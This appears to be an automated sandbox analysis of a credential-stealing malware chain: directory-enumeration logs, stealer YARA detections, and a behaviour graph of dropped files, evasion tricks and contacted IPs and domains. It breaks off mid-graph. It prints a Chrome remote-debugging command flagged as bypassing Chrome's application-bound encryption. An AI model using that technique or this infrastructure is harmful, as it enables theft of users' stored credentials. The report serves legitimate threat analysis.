Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: C:\Users\user\Documents
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: number of queries: 2002
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Directory queried: number of queries: 1001
Yara detected Credential Stealer
Source: Yara match File source: 00000018.00000003.3232038991.0000000000938000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2841686209.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3529309223.000000000177D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3526536288.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2795246224.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3595404950.000000000177D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.3235297402.0000000000938000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3445606549.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2814280047.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.3358350057.0000000000938000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2797362552.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3445606549.000000000177D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 85746525a0.exe PID: 7908, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bb31c9d4a53941b6b913f33980d23feb.exe PID: 2792, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 944, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 280, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: bc893816fa.exe PID: 3400, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 85746525a0.exe PID: 7908, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 944, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ed7d415177.exe PID: 280, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 0000001A.00000003.3064139165.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.3214718315.0000000005640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 7728, type: MEMORYSTR
Yara detected Vidar stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 21.0.bb31c9d4a53941b6b913f33980d23feb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 81d22383f9.exe PID: 7712, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bb31c9d4a53941b6b913f33980d23feb.exe PID: 2792, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579352 Sample: file.exe Startdate: 21/12/2024 Architecture: WINDOWS Score: 100 110 toptek.sbs 2->110 112 sweepyribs.lat 2->112 114 8 other IPs or domains 2->114 148 Suricata IDS alerts for network traffic 2->148 150 Found malware configuration 2->150 152 Antivirus detection for dropped file 2->152 154 21 other signatures 2->154 10 skotes.exe 4 79 2->10         started        15 file.exe 5 2->15         started        17 ed7d415177.exe 2->17         started        19 5 other processes 2->19 signatures3 process4 dnsIp5 140 185.215.113.43, 49758, 49764, 49786 WHOLESALECONNECTIONSNL Portugal 10->140 142 185.215.113.16 WHOLESALECONNECTIONSNL Portugal 10->142 144 31.41.244.11, 49770, 49791, 49793 AEROEXPRESS-ASRU Russian Federation 10->144 96 C:\Users\user\AppData\...\178ba86573.exe, PE32 10->96 dropped 98 C:\Users\user\AppData\...\796ecf2647.exe, PE32 10->98 dropped 100 C:\Users\user\AppData\...\62a707bc2a.exe, PE32 10->100 dropped 108 32 other malicious files 10->108 dropped 198 Creates multiple autostart registry keys 10->198 200 Hides threads from debuggers 10->200 202 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->202 21 d0e32932f8.exe 10->21         started        26 81d22383f9.exe 8 10->26         started        28 74b92d58dc.exe 10->28         started        32 8 other processes 10->32 102 C:\Users\user\AppData\Local\...\skotes.exe, PE32 15->102 dropped 104 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 15->104 dropped 204 Detected unpacking (changes PE section rights) 15->204 206 Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors) 15->206 208 Tries to evade debugger and weak emulator (self modifying code) 15->208 210 Tries to detect virtualization through RDTSC time measurements 15->210 30 skotes.exe 15->30         started        106 C:\...\STNCYC18XSKVTIXIDORVU8IVIC8XE.exe, PE32 17->106 dropped 212 Query firmware table information (likely to detect VMs) 17->212 214 Tries to steal Crypto Currency Wallets 17->214 216 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 17->216 146 127.0.0.1 unknown unknown 19->146 218 Binary is likely a compiled AutoIt script file 19->218 file6 signatures7 process8 dnsIp9 122 185.215.113.206 WHOLESALECONNECTIONSNL Portugal 21->122 78 C:\Users\user\Documents\KEGDAKEHJD.exe, PE32 21->78 dropped 80 C:\Users\user\AppData\...\softokn3[1].dll, PE32 21->80 dropped 92 12 other files (8 malicious) 21->92 dropped 172 Drops PE files to the document folder of the user 21->172 174 Tries to steal Mail credentials (via file / registry access) 21->174 176 Found many strings related to Crypto-Wallets (likely being stolen) 21->176 192 6 other signatures 21->192 34 chrome.exe 21->34         started        124 github.com 20.233.83.145, 443, 49802, 49803 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 26->124 126 raw.githubusercontent.com 185.199.110.133, 443, 49806, 49807 FASTLYUS Netherlands 26->126 82 C:\...\fb22de53cd93474896e72899203b572f.exe, PE32 26->82 dropped 84 C:\...\bb31c9d4a53941b6b913f33980d23feb.exe, PE32 26->84 dropped 178 Multi AV Scanner detection for dropped file 26->178 180 Adds a directory exclusion to Windows Defender 26->180 36 bb31c9d4a53941b6b913f33980d23feb.exe 26->36         started        40 powershell.exe 26->40         started        42 powershell.exe 26->42         started        50 2 other processes 26->50 128 cheapptaxysu.click 104.21.67.146 CLOUDFLARENETUS United States 28->128 182 Query firmware table information (likely to detect VMs) 28->182 184 Tries to detect sandboxes and other dynamic analysis tools (window names) 28->184 186 Tries to harvest and steal ftp login credentials 28->186 188 Detected unpacking (changes PE section rights) 30->188 194 2 other signatures 30->194 130 twentytk20ht.top 185.121.15.192 REDSERVICIOES Spain 32->130 132 